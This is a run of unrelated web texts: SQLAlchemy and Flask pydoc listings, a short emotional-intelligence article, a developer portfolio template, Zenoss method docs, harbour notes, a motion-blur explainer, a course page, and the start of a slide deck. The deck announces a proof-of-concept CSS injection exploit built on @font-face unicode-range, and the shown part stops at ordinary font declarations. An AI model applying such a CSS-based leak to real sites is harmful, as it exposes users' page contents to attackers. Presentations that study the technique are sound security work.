not using any commas. In particular is useful for MySQL keywords.
e.g.::
query = sess.query(User.name).\
prefix_with('HIGH_PRIORITY').\
prefix_with('SQL_SMALL_RESULT', 'ALL')
Would render::
SELECT HIGH_PRIORITY SQL_SMALL_RESULT ALL users.name AS users_name
FROM users
.. versionadded:: 0.7.7
.. seealso::
:meth:`.HasPrefixes.prefix_with`
- reset_joinpoint(self)
- Return a new :class:`.Query`, where the "join point" has
been reset back to the base FROM entities of the query.
This method is usually used in conjunction with the
``aliased=True`` feature of the :meth:`~.Query.join`
method. See the example in :meth:`~.Query.join` for how
this is used.
- scalar(self)
- Return the first element of the first result or None
if no rows present. If multiple rows are returned,
raises MultipleResultsFound.
>>> session.query(Item).scalar()
<Item>
>>> session.query(Item.id).scalar()
1
>>> session.query(Item.id).filter(Item.id < 0).scalar()
None
>>> session.query(Item.id, Item.name).scalar()
1
>>> session.query(func.count(Parent.id)).scalar()
20
This results in an execution of the underlying query.
- select_entity_from(self, from_obj)
- Set the FROM clause of this :class:`.Query` to a
core selectable, applying it as a replacement FROM clause
for corresponding mapped entities.
This method is similar to the :meth:`.Query.select_from`
method, in that it sets the FROM clause of the query. However,
where :meth:`.Query.select_from` only affects what is placed
in the FROM, this method also applies the given selectable
to replace the FROM which the selected entities would normally
select from.
The given ``from_obj`` must be an instance of a :class:`.FromClause`,
e.g. a :func:`.select` or :class:`.Alias` construct.
An example would be a :class:`.Query` that selects ``User`` entities,
but uses :meth:`.Query.select_entity_from` to have the entities
selected from a :func:`.select` construct instead of the
base ``user`` table::
select_stmt = select([User]).where(User.id == 7)
q = session.query(User).\
select_entity_from(select_stmt).\
filter(User.name == 'ed')
The query generated will select ``User`` entities directly
from the given :func:`.select` construct, and will be::
SELECT anon_1.id AS anon_1_id, anon_1.name AS anon_1_name
FROM (SELECT "user".id AS id, "user".name AS name
FROM "user"
WHERE "user".id = :id_1) AS anon_1
WHERE anon_1.name = :name_1
Notice above that even the WHERE criterion was "adapted" such that
the ``anon_1`` subquery effectively replaces all references to the
``user`` table, except for the one that it refers to internally.
Compare this to :meth:`.Query.select_from`, which as of
version 0.9, does not affect existing entities. The
statement below::
q = session.query(User).\
select_from(select_stmt).\
filter(User.name == 'ed')
Produces SQL where both the ``user`` table as well as the
``select_stmt`` construct are present as separate elements
in the FROM clause. No "adaptation" of the ``user`` table
is applied::
SELECT "user".id AS user_id, "user".name AS user_name
FROM "user", (SELECT "user".id AS id, "user".name AS name
FROM "user"
WHERE "user".id = :id_1) AS anon_1
WHERE "user".name = :name_1
:meth:`.Query.select_entity_from` maintains an older
behavior of :meth:`.Query.select_from`. In modern usage,
similar results can also be achieved using :func:`.aliased`::
select_stmt = select([User]).where(User.id == 7)
user_from_select = aliased(User, select_stmt.alias())
q = session.query(user_from_select)
:param from_obj: a :class:`.FromClause` object that will replace
the FROM clause of this :class:`.Query`.
.. seealso::
:meth:`.Query.select_from`
.. versionadded:: 0.8
:meth:`.Query.select_entity_from` was added to specify
the specific behavior of entity replacement, however
the :meth:`.Query.select_from` maintains this behavior
as well until 0.9.
- select_from(self, *from_obj)
- Set the FROM clause of this :class:`.Query` explicitly.
:meth:`.Query.select_from` is often used in conjunction with
:meth:`.Query.join` in order to control which entity is selected
from on the "left" side of the join.
The entity or selectable object here effectively replaces the
"left edge" of any calls to :meth:`~.Query.join`, when no
joinpoint is otherwise established - usually, the default "join
point" is the leftmost entity in the :class:`~.Query` object's
list of entities to be selected.
A typical example::
q = session.query(Address).select_from(User).\
join(User.addresses).\
filter(User.name == 'ed')
Which produces SQL equivalent to::
SELECT address.* FROM user
JOIN address ON user.id=address.user_id
WHERE user.name = :name_1
:param \*from_obj: collection of one or more entities to apply
to the FROM clause. Entities can be mapped classes,
:class:`.AliasedClass` objects, :class:`.Mapper` objects
as well as core :class:`.FromClause` elements like subqueries.
.. versionchanged:: 0.9
This method no longer applies the given FROM object
to be the selectable from which matching entities
select from; the :meth:`.select_entity_from` method
now accomplishes this. See that method for a description
of this behavior.
.. seealso::
:meth:`~.Query.join`
:meth:`.Query.select_entity_from`
- slice(self, start, stop)
- Computes the "slice" of the :class:`.Query` represented by
the given indices and returns the resulting :class:`.Query`.
The start and stop indices behave like the argument to Python's
built-in :func:`range` function. This method provides an
alternative to using ``LIMIT``/``OFFSET`` to get a slice of the
query.
For example, ::
session.query(User).order_by(User.id).slice(1, 3)
renders as
.. sourcecode:: sql
SELECT users.id AS users_id,
users.name AS users_name
FROM users ORDER BY users.id
LIMIT ? OFFSET ?
(2, 1)
.. seealso::
:meth:`.Query.limit`
:meth:`.Query.offset`
- subquery(self, name=None, with_labels=False, reduce_columns=False)
- return the full SELECT statement represented by
this :class:`.Query`, embedded within an :class:`.Alias`.
Eager JOIN generation within the query is disabled.
:param name: string name to be assigned as the alias;
this is passed through to :meth:`.FromClause.alias`.
If ``None``, a name will be deterministically generated
at compile time.
:param with_labels: if True, :meth:`.with_labels` will be called
on the :class:`.Query` first to apply table-qualified labels
to all columns.
:param reduce_columns: if True, :meth:`.Select.reduce_columns` will
be called on the resulting :func:`.select` construct,
to remove same-named columns where one also refers to the other
via foreign key or WHERE clause equivalence.
.. versionchanged:: 0.8 the ``with_labels`` and ``reduce_columns``
keyword arguments were added.
- suffix_with(self, *suffixes)
- Apply the suffix to the query and return the newly resulting
``Query``.
:param \*suffixes: optional suffixes, typically strings,
not using any commas.
.. versionadded:: 1.0.0
.. seealso::
:meth:`.Query.prefix_with`
:meth:`.HasSuffixes.suffix_with`
- union(self, *q)
- Produce a UNION of this Query against one or more queries.
e.g.::
q1 = sess.query(SomeClass).filter(SomeClass.foo=='bar')
q2 = sess.query(SomeClass).filter(SomeClass.bar=='foo')
q3 = q1.union(q2)
The method accepts multiple Query objects so as to control
the level of nesting.
To disable all ORDER BY clauses including those configured
on mappers, issue ``query.order_by(None)`` - the resulting
:class:`.Query` object will not render ORDER BY within
its SELECT statement.
- union_all(self, *q)
- Produce a UNION ALL of this Query against one or more queries.
Works the same way as :meth:`~sqlalchemy.orm.query.Query.union`. See
that method for usage examples.
- update(self, values, synchronize_session='evaluate', update_args=None)
- Perform a bulk update query.
Updates rows matched by this query in the database.
E.g.::
sess.query(User).filter(User.age == 25).\
update({User.age: User.age - 10}, synchronize_session=False)
sess.query(User).filter(User.age == 25).\
update({"age": User.age - 10}, synchronize_session='evaluate')
.. warning:: The :meth:`.Query.update` method is a "bulk" operation,
which bypasses ORM unit-of-work automation in favor of greater
performance. **Please read all caveats and warnings below.**
:param values: a dictionary with attributes names, or alternatively
mapped attributes or SQL expressions, as keys, and literal
values or sql expressions as values. If :ref:`parameter-ordered
mode <updates_order_parameters>` is desired, the values can be
passed as a list of 2-tuples;
this requires that the :paramref:`~sqlalchemy.sql.expression.update.preserve_parameter_order`
flag is passed to the :paramref:`.Query.update.update_args` dictionary
as well.
.. versionchanged:: 1.0.0 - string names in the values dictionary
are now resolved against the mapped entity; previously, these
strings were passed as literal column names with no mapper-level
translation.
:param synchronize_session: chooses the strategy to update the
attributes on objects in the session. Valid values are:
``False`` - don't synchronize the session. This option is the most
efficient and is reliable once the session is expired, which
typically occurs after a commit(), or explicitly using
expire_all(). Before the expiration, updated objects may still
remain in the session with stale values on their attributes, which
can lead to confusing results.
``'fetch'`` - performs a select query before the update to find
objects that are matched by the update query. The updated
attributes are expired on matched objects.
``'evaluate'`` - Evaluate the Query's criteria in Python straight
on the objects in the session. If evaluation of the criteria isn't
implemented, an exception is raised.
The expression evaluator currently doesn't account for differing
string collations between the database and Python.
:param update_args: Optional dictionary, if present will be passed
to the underlying :func:`.update` construct as the ``**kw`` for
the object. May be used to pass dialect-specific arguments such
as ``mysql_limit``, as well as other special arguments such as
:paramref:`~sqlalchemy.sql.expression.update.preserve_parameter_order`.
.. versionadded:: 1.0.0
:return: the count of rows matched as returned by the database's
"row count" feature.
.. warning:: **Additional Caveats for bulk query updates**
* The method does **not** offer in-Python cascading of
relationships - it is assumed that ON UPDATE CASCADE is
configured for any foreign key references which require
it, otherwise the database may emit an integrity
violation if foreign key references are being enforced.
After the UPDATE, dependent objects in the
:class:`.Session` which were impacted by an ON UPDATE
CASCADE may not contain the current state; this issue is
resolved once the :class:`.Session` is expired, which
normally occurs upon :meth:`.Session.commit` or can be
forced by using :meth:`.Session.expire_all`.
* The ``'fetch'`` strategy results in an additional
SELECT statement emitted and will significantly reduce
performance.
* The ``'evaluate'`` strategy performs a scan of
all matching objects within the :class:`.Session`; if the
contents of the :class:`.Session` are expired, such as
via a proceeding :meth:`.Session.commit` call, **this will
result in SELECT queries emitted for every matching object**.
* The method supports multiple table updates, as detailed
in :ref:`multi_table_updates`, and this behavior does
extend to support updates of joined-inheritance and
other multiple table mappings. However, the **join
condition of an inheritance mapper is not
automatically rendered**. Care must be taken in any
multiple-table update to explicitly include the joining
condition between those tables, even in mappings where
this is normally automatic. E.g. if a class ``Engineer``
subclasses ``Employee``, an UPDATE of the ``Engineer``
local table using criteria against the ``Employee``
local table might look like::
session.query(Engineer).\
filter(Engineer.id == Employee.id).\
filter(Employee.name == 'dilbert').\
update({"engineer_type": "programmer"})
* The :meth:`.MapperEvents.before_update` and
:meth:`.MapperEvents.after_update`
events **are not invoked from this method**. Instead, the
:meth:`.SessionEvents.after_bulk_update` method is provided to
act upon a mass UPDATE of entity rows.
.. seealso::
:meth:`.Query.delete`
:ref:`inserts_and_updates` - Core SQL tutorial
- value(self, column)
- Return a scalar result corresponding to the given
column expression.
- values(self, *columns)
- Return an iterator yielding result tuples corresponding
to the given list of columns
- with_entities(self, *entities)
- Return a new :class:`.Query` replacing the SELECT list with the
given entities.
e.g.::
# Users, filtered on some arbitrary criterion
# and then ordered by related email address
q = session.query(User).\
join(User.address).\
filter(User.name.like('%ed%')).\
order_by(Address.email)
# given *only* User.id==5, Address.email, and 'q', what
# would the *next* User in the result be ?
subq = q.with_entities(Address.email).\
order_by(None).\
filter(User.id==5).\
subquery()
q = q.join((subq, subq.c.email < Address.email)).\
limit(1)
.. versionadded:: 0.6.5
- with_for_update(self, read=False, nowait=False, of=None)
- return a new :class:`.Query` with the specified options for the
``FOR UPDATE`` clause.
The behavior of this method is identical to that of
:meth:`.SelectBase.with_for_update`. When called with no arguments,
the resulting ``SELECT`` statement will have a ``FOR UPDATE`` clause
appended. When additional arguments are specified, backend-specific
options such as ``FOR UPDATE NOWAIT`` or ``LOCK IN SHARE MODE``
can take effect.
E.g.::
q = sess.query(User).with_for_update(nowait=True, of=User)
The above query on a Postgresql backend will render like::
SELECT users.id AS users_id FROM users FOR UPDATE OF users NOWAIT
.. versionadded:: 0.9.0 :meth:`.Query.with_for_update` supersedes
the :meth:`.Query.with_lockmode` method.
.. seealso::
:meth:`.GenerativeSelect.with_for_update` - Core level method with
full argument and behavioral description.
- with_hint(self, selectable, text, dialect_name='*')
- Add an indexing or other executional context
hint for the given entity or selectable to
this :class:`.Query`.
Functionality is passed straight through to
:meth:`~sqlalchemy.sql.expression.Select.with_hint`,
with the addition that ``selectable`` can be a
:class:`.Table`, :class:`.Alias`, or ORM entity / mapped class
/etc.
.. seealso::
:meth:`.Query.with_statement_hint`
- with_labels(self)
- Apply column labels to the return value of Query.statement.
Indicates that this Query's `statement` accessor should return
a SELECT statement that applies labels to all columns in the
form <tablename>_<columnname>; this is commonly used to
disambiguate columns from multiple tables which have the same
name.
When the `Query` actually issues SQL to load rows, it always
uses column labeling.
.. note:: The :meth:`.Query.with_labels` method *only* applies
the output of :attr:`.Query.statement`, and *not* to any of
the result-row invoking systems of :class:`.Query` itself, e.g.
:meth:`.Query.first`, :meth:`.Query.all`, etc. To execute
a query using :meth:`.Query.with_labels`, invoke the
:attr:`.Query.statement` using :meth:`.Session.execute`::
result = session.execute(query.with_labels().statement)
- with_lockmode(self, mode)
- Return a new :class:`.Query` object with the specified "locking mode",
which essentially refers to the ``FOR UPDATE`` clause.
.. deprecated:: 0.9.0 superseded by :meth:`.Query.with_for_update`.
:param mode: a string representing the desired locking mode.
Valid values are:
* ``None`` - translates to no lockmode
* ``'update'`` - translates to ``FOR UPDATE``
(standard SQL, supported by most dialects)
* ``'update_nowait'`` - translates to ``FOR UPDATE NOWAIT``
(supported by Oracle, PostgreSQL 8.1 upwards)
* ``'read'`` - translates to ``LOCK IN SHARE MODE`` (for MySQL),
and ``FOR SHARE`` (for PostgreSQL)
.. seealso::
:meth:`.Query.with_for_update` - improved API for
specifying the ``FOR UPDATE`` clause.
- with_parent(self, instance, property=None)
- Add filtering criterion that relates the given instance
to a child object or collection, using its attribute state
as well as an established :func:`.relationship()`
configuration.
The method uses the :func:`.with_parent` function to generate
the clause, the result of which is passed to :meth:`.Query.filter`.
Parameters are the same as :func:`.with_parent`, with the exception
that the given property can be None, in which case a search is
performed against this :class:`.Query` object's target mapper.
- with_polymorphic(self, cls_or_mappers, selectable=None, polymorphic_on=None)
- Load columns for inheriting classes.
:meth:`.Query.with_polymorphic` applies transformations
to the "main" mapped class represented by this :class:`.Query`.
The "main" mapped class here means the :class:`.Query`
object's first argument is a full class, i.e.
``session.query(SomeClass)``. These transformations allow additional
tables to be present in the FROM clause so that columns for a
joined-inheritance subclass are available in the query, both for the
purposes of load-time efficiency as well as the ability to use
these columns at query time.
See the documentation section :ref:`with_polymorphic` for
details on how this method is used.
.. versionchanged:: 0.8
A new and more flexible function
:func:`.orm.with_polymorphic` supersedes
:meth:`.Query.with_polymorphic`, as it can apply the equivalent
functionality to any set of columns or classes in the
:class:`.Query`, not just the "zero mapper". See that
function for a description of arguments.
- with_session(self, session)
- Return a :class:`.Query` that will use the given :class:`.Session`.
- with_statement_hint(self, text, dialect_name='*')
- add a statement hint to this :class:`.Select`.
This method is similar to :meth:`.Select.with_hint` except that
it does not require an individual table, and instead applies to the
statement as a whole.
This feature calls down into :meth:`.Select.with_statement_hint`.
.. versionadded:: 1.0.0
.. seealso::
:meth:`.Query.with_hint`
- with_transformation(self, fn)
- Return a new :class:`.Query` object transformed by
the given function.
E.g.::
def filter_something(criterion):
def transform(q):
return q.filter(criterion)
return transform
q = q.with_transformation(filter_something(x==5))
This allows ad-hoc recipes to be created for :class:`.Query`
objects. See the example at :ref:`hybrid_transformers`.
.. versionadded:: 0.7.4
- yield_per(self, count)
- Yield only ``count`` rows at a time.
The purpose of this method is when fetching very large result sets
(> 10K rows), to batch results in sub-collections and yield them
out partially, so that the Python interpreter doesn't need to declare
very large areas of memory which is both time consuming and leads
to excessive memory use. The performance from fetching hundreds of
thousands of rows can often double when a suitable yield-per setting
(e.g. approximately 1000) is used, even with DBAPIs that buffer
rows (which are most).
The :meth:`.Query.yield_per` method **is not compatible with most
eager loading schemes, including subqueryload and joinedload with
collections**. For this reason, it may be helpful to disable
eager loads, either unconditionally with
:meth:`.Query.enable_eagerloads`::
q = sess.query(Object).yield_per(100).enable_eagerloads(False)
Or more selectively using :func:`.lazyload`; such as with
an asterisk to specify the default loader scheme::
q = sess.query(Object).yield_per(100).\
options(lazyload('*'), joinedload(Object.some_related))
.. warning::
Use this method with caution; if the same instance is
present in more than one batch of rows, end-user changes
to attributes will be overwritten.
In particular, it's usually impossible to use this setting
with eagerly loaded collections (i.e. any lazy='joined' or
'subquery') since those collections will be cleared for a
new load when encountered in a subsequent result batch.
In the case of 'subquery' loading, the full result for all
rows is fetched which generally defeats the purpose of
:meth:`~sqlalchemy.orm.query.Query.yield_per`.
Also note that while
:meth:`~sqlalchemy.orm.query.Query.yield_per` will set the
``stream_results`` execution option to True, currently
this is only understood by
:mod:`~sqlalchemy.dialects.postgresql.psycopg2` dialect
which will stream results using server side cursors
instead of pre-buffer all rows for this query. Other
DBAPIs **pre-buffer all rows** before making them
available. The memory use of raw database rows is much less
than that of an ORM-mapped object, but should still be taken into
consideration when benchmarking.
.. seealso::
:meth:`.Query.enable_eagerloads`
Data descriptors inherited from sqlalchemy.orm.query.Query:
- __dict__
- dictionary for instance variables (if defined)
- __weakref__
- list of weak references to the object (if defined)
- column_descriptions
- Return metadata about the columns which would be
returned by this :class:`.Query`.
Format is a list of dictionaries::
user_alias = aliased(User, name='user2')
q = sess.query(User, User.id, user_alias)
# this expression:
q.column_descriptions
# would return:
[
{
'name':'User',
'type':User,
'aliased':False,
'expr':User,
'entity': User
},
{
'name':'id',
'type':Integer(),
'aliased':False,
'expr':User.id,
'entity': User
},
{
'name':'user2',
'type':User,
'aliased':True,
'expr':user_alias,
'entity': user_alias
}
]
- selectable
- Return the :class:`.Select` object emitted by this :class:`.Query`.
Used for :func:`.inspect` compatibility, this is equivalent to::
query.enable_eagerloads(False).with_labels().statement
- statement
- The full SELECT statement represented by this Query.
The statement by default will not have disambiguating labels
applied to the construct unless with_labels(True) is called
first.
- whereclause
- A readonly attribute which returns the current WHERE criterion for
this Query.
This returned value is a SQL expression construct, or ``None`` if no
criterion has been established.
Data and other attributes inherited from sqlalchemy.orm.query.Query:
- dispatch = <sqlalchemy.event.base.QueryEventsDispatch object>
- logger = <logging.Logger object>
Methods inherited from sqlalchemy_searchable.SearchQueryMixin:
- search(self, search_query, vector=None, regconfig=None, sort=False)
- Search given query with full text search.
:param search_query: the search query
:param vector: search vector to use
:param regconfig: postgresql regconfig to be used
:param sort: order results by relevance (quality of hit)
|
class Notebook(flask_sqlalchemy.Model) |
| |
Baseclass for custom user models. |
| |
- Method resolution order:
- Notebook
- flask_sqlalchemy.Model
- flask_sqlalchemy.Model
- builtins.object
Methods defined here:
- __init__(self, **kwargs)
- A simple constructor that allows initialization from kwargs.
Sets attributes on the constructed instance using the names and
values in ``kwargs``.
Only keys that are present as
attributes of the instance's class are allowed. These could be,
for example, any mapped columns or relationships.
- active_notes(self)
- to_json(self)
Data descriptors defined here:
- author
- author_id
- id
- is_deleted
- notes
- title
Data and other attributes defined here:
- __mapper__ = <Mapper at 0x104724c18; Notebook>
- __table__ = Table('notebooks', MetaData(bind=None), Column('...Key('users.id'), table=<notebooks>), schema=None)
- __tablename__ = 'notebooks'
Methods inherited from flask_sqlalchemy.Model:
- query
Data and other attributes inherited from flask_sqlalchemy.Model:
- metadata = MetaData(bind=None)
Data descriptors inherited from flask_sqlalchemy.Model:
- __dict__
- dictionary for instance variables (if defined)
- __weakref__
- list of weak references to the object (if defined)
Data and other attributes inherited from flask_sqlalchemy.Model:
- query_class = <class 'flask_sqlalchemy.BaseQuery'>
- The default query object used for models, and exposed as
:attr:`~SQLAlchemy.Query`. This can be subclassed and
replaced for individual models by setting the :attr:`~Model.query_class`
attribute. This is a subclass of a standard SQLAlchemy
:class:`~sqlalchemy.orm.query.Query` class and has all the methods of a
standard query as well.
|
class Tag(flask_sqlalchemy.Model) |
| |
Baseclass for custom user models. |
| |
- Method resolution order:
- Tag
- flask_sqlalchemy.Model
- flask_sqlalchemy.Model
- builtins.object
Methods defined here:
- __init__(self, **kwargs)
- A simple constructor that allows initialization from kwargs.
Sets attributes on the constructed instance using the names and
values in ``kwargs``.
Only keys that are present as
attributes of the instance's class are allowed. These could be,
for example, any mapped columns or relationships.
Data descriptors defined here:
- Note
- id
- notes
- tag
Data and other attributes defined here:
- __mapper__ = <Mapper at 0x1047302e8; Tag>
- __table__ = Table('tags', MetaData(bind=None), Column('id', ..., String(length=200), table=<tags>), schema=None)
- __tablename__ = 'tags'
Methods inherited from flask_sqlalchemy.Model:
- query
Data and other attributes inherited from flask_sqlalchemy.Model:
- metadata = MetaData(bind=None)
Data descriptors inherited from flask_sqlalchemy.Model:
- __dict__
- dictionary for instance variables (if defined)
- __weakref__
- list of weak references to the object (if defined)
Data and other attributes inherited from flask_sqlalchemy.Model:
- query_class = <class 'flask_sqlalchemy.BaseQuery'>
- The default query object used for models, and exposed as
:attr:`~SQLAlchemy.Query`. This can be subclassed and
replaced for individual models by setting the :attr:`~Model.query_class`
attribute. This is a subclass of a standard SQLAlchemy
:class:`~sqlalchemy.orm.query.Query` class and has all the methods of a
standard query as well.
|
class User(flask_login.UserMixin, flask_sqlalchemy.Model) |
| |
This provides default implementations for the methods that Flask-Login
expects user objects to have. |
| |
- Method resolution order:
- User
- flask_login.UserMixin
- flask_sqlalchemy.Model
- flask_sqlalchemy.Model
- builtins.object
Methods defined here:
- __init__(self, **kwargs)
- change_email(self, token)
- confirm(self, token)
- generate_auth_token(self)
- generate_confirmation_token(self, expiration=3600)
- generate_email_change_token(self, new_email, expiration=3600)
- generate_reset_token(self, expiration=3600)
- get_deleted_notes(self)
- Return all notes owned by this user that are in the trash.
- gravatar(self, size=100, default='identicon', rating='g')
- reset_password(self, token, new_password)
- to_json(self)
- verify_password(self, password)
Static methods defined here:
- generate_fake(count=100)
- # TODO move this to test mocks
- verify_auth_token(token)
Data descriptors defined here:
- avatar_hash
- confirmed
- created_date
- email
- id
- notebooks
- notes
- password
- password_hash
- updated_date
Data and other attributes defined here:
- __mapper__ = <Mapper at 0x1066eff28; User>
- __table__ = Table('users', MetaData(bind=None), Column('id',...<locals>.<lambda> at 0x106e3a7b8>)), schema=None)
- __tablename__ = 'users'
Methods inherited from flask_login.UserMixin:
- __eq__(self, other)
- Checks the equality of two `UserMixin` objects using `get_id`.
- __hash__(self, /)
- Return hash(self).
- __ne__(self, other)
- Checks the inequality of two `UserMixin` objects using `get_id`.
- get_id(self)
Data descriptors inherited from flask_login.UserMixin:
- __dict__
- dictionary for instance variables (if defined)
- __weakref__
- list of weak references to the object (if defined)
- is_active
- is_anonymous
- is_authenticated
Methods inherited from flask_sqlalchemy.Model:
- query
Data and other attributes inherited from flask_sqlalchemy.Model:
- metadata = MetaData(bind=None)
Data and other attributes inherited from flask_sqlalchemy.Model:
- query_class = <class 'flask_sqlalchemy.BaseQuery'>
- The default query object used for models, and exposed as
:attr:`~SQLAlchemy.Query`. This can be subclassed and
replaced for individual models by setting the :attr:`~Model.query_class`
attribute. This is a subclass of a standard SQLAlchemy
:class:`~sqlalchemy.orm.query.Query` class and has all the methods of a
standard query as well.
| |


Date: 2 April Updated: 28 May 2016
What is emotional intelligence and how it is developed?
t can be developed by paying attention to what is happening in the brain, and by moderating responses and eventually changing the way the brain works. All emotional states have a physiological core, so we can understand them and be in control physically as well as mentally. Emotional intelligence is about refining emotions, and making the brain and body work together in a regulated and controlled way.
Benefits of emotional intelligence
Overall outcomes include: better work performance, building leadership qualities, and the ability to create your own happiness, with long-term practise. Emotional intelligence will create the ideal conditions which ultimately can help take on challenges, build self-confidence, increase analytical ability and clear the way for more conceptual thinking.
Techniques and practices for improving emotional intelligence
The brain is active and has built-in nueroplasticity, so it has the inherent ability to change and grow. If we pay attention to changes, and foster a growth mindset, the brain will follow. How? There is a section of the brain – the amygdala – that is influenced by sensations to the body. Emotions have an identifiable autonomic or bodily change that is detected in our brain, so that gut feeling really can be a felt sensation. So can only use this to be attentive and isten to all physiological and physchological changes and be able to regulate triggers with appropriate responses.
How to develop a basic mindfulness practice?
Finding an attentional focus - looking at the way you view yourself. It begins with self-processing emotions and re-ordering brain systems, to help recognise what mode you are in, and to watch subtle changes in emotion. The ability to modulate and to have clarity allows us to be in the present in a non-judgemental way.


{% load static %}
portfolio
Projects
Skills
Contact
Full-stack developer & Project Manager
I programming sites, apps and other interesting things according to your order
About me
Professional skills
Back-End Developer
I create a simple application structure, as well as set up a strong interaction with the database
Languages
Python, Django, PostgreSQL
Tools
VSC
GIT
Linux
Front-End Developer
I am engaged in layout and, if necessary, I can make custom animation in JS for a more beautiful visual design
Languages
HTML, CSS, JS, REACT
Tools
Bootstrap
Figma
PS
Codepen
Projet Manager
I will help organize the work of the project, distribute the work in the team, and also set up interaction in the team for Scrum.
Manager skills
Stress tolerance , Sociability, Responsibility
Tools
TRELLO
NOTION
DISCORD
AGILE
01
Case study


|
|
|
|
|
|
|
|
_getNameFromUuid(self,
uuid)
Given a uuid this returns the objects name from the catalog, it does
not wake the object up |
source code
|
|
|
|
_lookupTags(self,
tags)
Returns an array of dictionary with uuid and name fields or an empty
string if there are no tags. |
source code
|
|
|
|
|
|
|
| _lookupEventClassMapping(self,
mappingUuid) |
source code
|
|
|
|
_findDetails(self,
event)
Event details are created as a dictionary like the following:
detail = {
'name': 'zenoss.foo.bar',
'value': 'baz'
}
This method maps these detail items to a flat dictionary to facilitate
looking up details by key easier. |
source code
|
|
|
|
_singleDetail(self,
value)
A convenience method for fetching a single detail from a property
which correlates to a repeated field on the protobuf. |
source code
|
|
|
|
_getTagsFromOccurrence(self,
eventOccurrence)
Build a tag dictionary where the keys are the type of tags and the
value is an array of guids. |
source code
|
|
|
|
|
|
|
|
|
|
_filterInvalidUuids(self,
events)
When querying archived events we need to make sure that we do not
link to devices and components that are no longer valid |
source code
|
|
|
|
| queryArchive(self,
limit=0,
start=0,
sort='lastTime',
dir='desc',
params=None,
uid=None,
detailFormat=False) |
source code
|
|
|
dictionary
|
query(self,
limit=0,
start=0,
sort='lastTime',
dir='desc',
params=None,
archive=False,
uid=None,
detailFormat=False)
Query for events. |
source code
|
|
|
generator
|
queryGenerator(self,
sort='lastTime',
dir='desc',
evids=None,
excludeIds=None,
params=None,
archive=False,
uid=None,
detailFormat=False)
Query for events. |
source code
|
|
|
|
| _buildSort(self,
sort='lastTime',
dir='desc') |
source code
|
|
|
|
|
|
|
_buildFilter(self,
uid,
params,
specificEventUuids=None)
Construct a dictionary that can be converted into an EventFilter
protobuf. |
source code
|
|
|
|
|
|
|
|
|
DirectResponse
|
|
|
DirectResponse
|
|
|
|
_buildRequestFilters(self,
uid,
params,
evids,
excludeIds)
Given common request parameters, build the inclusive and exclusive
filters for event update requests. |
source code
|
|
|
|
nextEventSummaryUpdate(self,
next_request)
When performing updates from the event console, updates are performed
in batches to allow the user to see the progress of event changes and
cancel out of updates while they are in progress. |
source code
|
|
|
DirectResponse
|
close(self,
evids=None,
excludeIds=None,
params=None,
uid=None,
asof=None,
limit=None)
Close event(s). |
source code
|
|
|
DirectResponse
|
acknowledge(self,
evids=None,
excludeIds=None,
params=None,
uid=None,
asof=None,
limit=None)
Acknowledge event(s). |
source code
|
|
|
|
|
|
DirectResponse
|
reopen(self,
evids=None,
excludeIds=None,
params=None,
uid=None,
asof=None,
limit=None)
Reopen event(s). |
source code
|
|
|
DirectResponse
|
add_event(self,
summary,
device,
component,
severity,
evclasskey,
evclass)
Create a new event. |
source code
|
|
|
|
|
|
|
|
|
|
|
|
|
_mergeSchemaAndZepConfig(self,
data,
configSchema)
Copy the values and defaults from ZEP to our schema |
source code
|
|
|
|
|
|
|
|
|
[dictionary]
|
|
|
DirectResponse
|
|
|
DirectResponse
|
|


Kilrush is located on the northern shore of the Shannon River, on the west coast of Ireland, 16 NM from Loop Head. This attractive, market town is designated a heritage site.
Position 52° 38' N, 9° 29.7' W.
This is a safe, sheltered harbour with all-tide access through a lock (Tel:+353(0)65 9052155)
Call the marina in advance for lock arrangements and berthing. Lock opens on demand and at night the outer gates remain open to enable visitors to berth inside the lock until morning.
The town provides all requirements, i.e restaurants, bars, banks, post offices, and very good shops.
Last updated January 2013.


A few presets to try out:
Motion blur is a natural effect when you film the world in discrete time intervals. When a film is recorded at 25 frames per second, each frame has an exposure time of up to 40 milliseconds (1/25 seconds). All the changes in the scene over that entire 40 milliseconds will blend into the final frame. Without motion blur, animation will appear to jump and will not look fluid.
When the frame rate of a movie is too low, your mind will no longer be convinced that the contents of the movie are continuous, and the movie will appear to jump (also called strobing).
More information:
Peter Jackson said the following about switching to 48 frames per second for the filming of The Hobbit (2011/04/11):
Film purists will criticize the lack of blur and strobing artifacts, but all of our crew--many of whom are film purists--are now converts. You get used to this new look very quickly and it becomes a much more lifelike and comfortable viewing experience. It's similar to the moment when vinyl records were supplanted by digital CDs. There's no doubt in my mind that we're heading towards movies being shot and projected at higher frame rates.


--- layout: default ---
Welcome to the machine learning class! This is an introductory course offered by the SpeeD lab.
Artificial intelligence and machine learning were highly anticipated research advances. In the 1990s we were watching Terminator performing science fiction tasks such as object detection or face recognition; today we are daily consumers of machine learning without even realising it — our mobiles can automatically detect faces in the pictures we take, email services filter out spam from the rest of the received emails, we are being recommended new items based on our shopping history. This course aims to demystify such applications, empowering you with the ability to create similar algorithms.
By the end of the course the students should be able to:
This course will consist of a series of five lectures, each followed by a practical assignment. The final project is a presentation describing a machine learning solution for a problem of interest.
Students are expected to be familiar with basic programming (Python) and mathematics (linear algebra). Take a look at the following collection of exercises; this is designed to warm you up and prepare for the course.
Please use the forum to ask questions, report typos and bugs from these lecture notes.


zażółć gęślą jaźń
testy
– Oh my God. I didn't even know Smarties made a cereal.
– They don't. It's just Smarties in a bowl with milk.
- podpunkt
- więcej informacji
Black -
White -
League -
Sky -
Beige -
Simple
Serif -
Blood -
Night -
Moon -
Solarized
Michał Miszczyszyn
Question
Who knows CSS?
Who works on backend?
Who does both very well?
This presentation:
- is about hacking
- we're about to exploit some CSS
This presentation:
- won't be very useful
- works on rare occasions
- is just a PoC
- but I found it very interesting
And here we are.
Assumption: You can inject external CSS code to the website
How?
CSS Injection,
Path Traversal,
MitM,
…
OWASP Top 1 Application Security Risk – 2017
- Injection
Moar questions
Who knows CSS
font-face
?
Who knows
unicode-range
property?
FONT-FACE
/* latin */
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 400;
src: url(https://fonts.gstatic.com/…/roboto.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215;
}
Just latin characters:
/* latin */
@font-face {
src: url(roboto.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215;
}
Latin-extended characters:
/* latin-ext */
@font-face {
src: url(roboto2.woff2) format('woff2');
